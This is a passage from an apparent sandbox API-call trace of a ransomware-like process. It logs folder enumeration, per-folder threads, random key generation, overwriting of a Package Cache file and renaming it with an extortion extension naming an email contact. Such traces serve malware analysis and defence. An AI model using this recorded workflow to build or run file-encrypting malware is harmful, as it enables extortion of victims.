Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\" [0076.995] wcscat (in: _Dest=0x3431b28, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*" [0076.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f3040 [0076.995] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x33f3040 | out: lpFindFileData=0x33f3040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0298 [0076.996] wcscmp (_String1=".", _String2=".") returned 0 [0076.996] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x33f3040 | out: lpFindFileData=0x33f3040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.996] wcscmp (_String1="..", _String2=".") returned 1 [0076.996] wcscmp (_String1="..", _String2="..") returned 0 [0076.996] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x33f3040 | out: lpFindFileData=0x33f3040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0076.996] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0076.996] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1 [0076.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe8) returned 0x341a518 [0076.996] wcscpy (in: _Dest=0x341a518, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0076.996] wcscat (in: _Dest=0x341a518, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\" [0076.996] wcscat (in: _Dest=0x341a518, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" [0077.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x341a518, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0077.881] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x33f3040 | out: lpFindFileData=0x33f3040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0077.881] FindClose (in: hFindFile=0x33e0298 | out: hFindFile=0x33e0298) returned 1 [0077.881] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f3040) returned 1 [0077.881] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431b28) returned 1 [0077.881] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431fd8) returned 1 [0077.881] RtlExitUserThread (Status=0x0) Thread: id = 832 os_tid = 0x1404 [0076.997] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbe) returned 0x3431bf0 [0076.997] wcscpy (in: _Dest=0x3431bf0, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0076.997] wcscat (in: _Dest=0x3431bf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\" [0076.997] wcscat (in: _Dest=0x3431bf0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*" [0076.997] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f32a8 [0076.997] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x33f32a8 | out: lpFindFileData=0x33f32a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e02d8 [0076.998] wcscmp (_String1=".", _String2=".") returned 0 [0076.998] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x33f32a8 | out: lpFindFileData=0x33f32a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec10ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.998] wcscmp (_String1="..", _String2=".") returned 1 [0076.998] wcscmp (_String1="..", _String2="..") returned 0 [0076.998] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x33f32a8 | out: lpFindFileData=0x33f32a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0076.998] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0076.998] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0076.998] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xea) returned 0x33e5220 [0076.998] wcscpy (in: _Dest=0x33e5220, _Source="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0076.998] wcscat (in: _Dest=0x33e5220, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\" [0076.998] wcscat (in: _Dest=0x33e5220, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" [0077.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e5220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908 [0077.879] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x33f32a8 | out: lpFindFileData=0x33f32a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0077.879] FindClose (in: hFindFile=0x33e02d8 | out: hFindFile=0x33e02d8) returned 1 [0077.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f32a8) returned 1 [0077.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431bf0) returned 1 [0077.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431f10) returned 1 [0077.879] RtlExitUserThread (Status=0x0) Thread: id = 833 os_tid = 0x1408 [0076.999] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbe) returned 0x3431cb8 [0076.999] wcscpy (in: _Dest=0x3431cb8, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0076.999] wcscat (in: _Dest=0x3431cb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\" [0076.999] wcscat (in: _Dest=0x3431cb8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*" [0076.999] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f39e0 [0076.999] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x33f39e0 | out: lpFindFileData=0x33f39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0318 [0076.999] wcscmp (_String1=".", _String2=".") returned 0 [0076.999] FindNextFileW (in: hFindFile=0x33e0318, lpFindFileData=0x33f39e0 | out: lpFindFileData=0x33f39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.000] wcscmp (_String1="..", _String2=".") returned 1 [0077.000] wcscmp (_String1="..", _String2="..") returned 0 [0077.000] FindNextFileW (in: hFindFile=0x33e0318, lpFindFileData=0x33f39e0 | out: lpFindFileData=0x33f39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0077.000] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1 [0077.000] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1 [0077.000] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe4) returned 0x341a608 [0077.000] wcscpy (in: _Dest=0x341a608, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0077.000] wcscat (in: _Dest=0x341a608, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\" [0077.000] wcscat (in: _Dest=0x341a608, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" [0077.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x341a608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x900 [0077.877] FindNextFileW (in: hFindFile=0x33e0318, lpFindFileData=0x33f39e0 | out: lpFindFileData=0x33f39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0077.877] FindClose (in: hFindFile=0x33e0318 | out: hFindFile=0x33e0318) returned 1 [0077.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f39e0) returned 1 [0077.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431cb8) returned 1 [0077.878] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431e48) returned 1 [0077.878] RtlExitUserThread (Status=0x0) Thread: id = 834 os_tid = 0x140c [0077.000] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm")) returned 0x20 [0077.001] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", dwFileAttributes=0x20) returned 1 [0077.001] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x904 [0077.002] GetFileSizeEx (in: hFile=0x904, lpFileSize=0x1eebfb7c | out: lpFileSize=0x1eebfb7c*=638) returned 1 [0077.002] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x27a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.002] ReadFile (in: hFile=0x904, lpBuffer=0x1eebfb50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1eebfb4c, lpOverlapped=0x0 | out: lpBuffer=0x1eebfb50*, lpNumberOfBytesRead=0x1eebfb4c*=0x4, lpOverlapped=0x0) returned 1 [0077.003] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e68 [0077.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478ff8 [0077.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479160 [0077.003] NtQuerySystemTime (in: CurrentTime=0x1eebfb28 | out: CurrentTime=0x1eebfb28*=132121176348940351) returned 0x0 [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x636fcc4 [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x2e461cbf [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0xe22151d1 [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0xa96550ee [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0xf3d2c23f [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0xebbd40dd [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x1412fc6 [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x319ed975 [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x71444673 [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x5a8cf2fe [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x8db35c4e [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x234ec885 [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x65a2b1a2 [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0xcbc5f21c [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x7407e82b [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x64c1b3d9 [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0xdc596b30 [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x92f961d [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x631b1ff4 [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x47e7d800 [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x69c21b25 [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x40a597f6 [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0xace1d36b [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x679345e0 [0077.003] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x9d51e1ad [0077.004] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x6fedd7ba [0077.004] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0xbf54191a [0077.004] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x8bc42ca6 [0077.004] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0xe74f2e9 [0077.004] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x2f699169 [0077.004] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0xf7126451 [0077.004] RtlRandom (in: Seed=0x1eebfb34 | out: Seed=0x1eebfb34) returned 0x5e48d3bf [0077.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0077.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e68 [0077.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0077.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.015] ReadFile (in: hFile=0x904, lpBuffer=0x348a220, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x1eebfb28, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1eebfb28*=0x27e, lpOverlapped=0x0) returned 1 [0077.015] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eebfaf0 | out: lpNewFilePointer=0x0) returned 1 [0077.015] WriteFile (in: hFile=0x904, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x27e, lpNumberOfBytesWritten=0x1eebfb24, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1eebfb24*=0x27e, lpOverlapped=0x0) returned 1 [0077.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e68 [0077.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0077.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0077.015] WriteFile (in: hFile=0x904, lpBuffer=0x3478e68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1eebfb20, lpOverlapped=0x0 | out: lpBuffer=0x3478e68*, lpNumberOfBytesWritten=0x1eebfb20*=0x20, lpOverlapped=0x0) returned 1 [0077.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0077.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.016] WriteFile (in: hFile=0x904, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1eebfb4c, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1eebfb4c*=0x8, lpOverlapped=0x0) returned 1 [0077.016] WriteFile (in: hFile=0x904, lpBuffer=0x1eebfb64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1eebfb4c, lpOverlapped=0x0 | out: lpBuffer=0x1eebfb64*, lpNumberOfBytesWritten=0x1eebfb4c*=0x4, lpOverlapped=0x0) returned 1 [0077.016] WriteFile (in: hFile=0x904, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1eebfb4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1eebfb4c*=0x4, lpOverlapped=0x0) returned 1 [0077.016] WriteFile (in: hFile=0x904, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1eebfb4c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1eebfb4c*=0x6c, lpOverlapped=0x0) returned 1 [0077.017] WriteFile (in: hFile=0x904, lpBuffer=0x3478ff8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1eebfb4c, lpOverlapped=0x0 | out: lpBuffer=0x3478ff8*, lpNumberOfBytesWritten=0x1eebfb4c*=0x20, lpOverlapped=0x0) returned 1 [0077.017] WriteFile (in: hFile=0x904, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1eebfb4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1eebfb4c*=0x4, lpOverlapped=0x0) returned 1 [0077.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ff8) returned 1 [0077.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0077.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0077.017] CloseHandle (hObject=0x904) returned 1 [0077.017] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x33fc9c8 [0077.017] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" [0077.017] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package 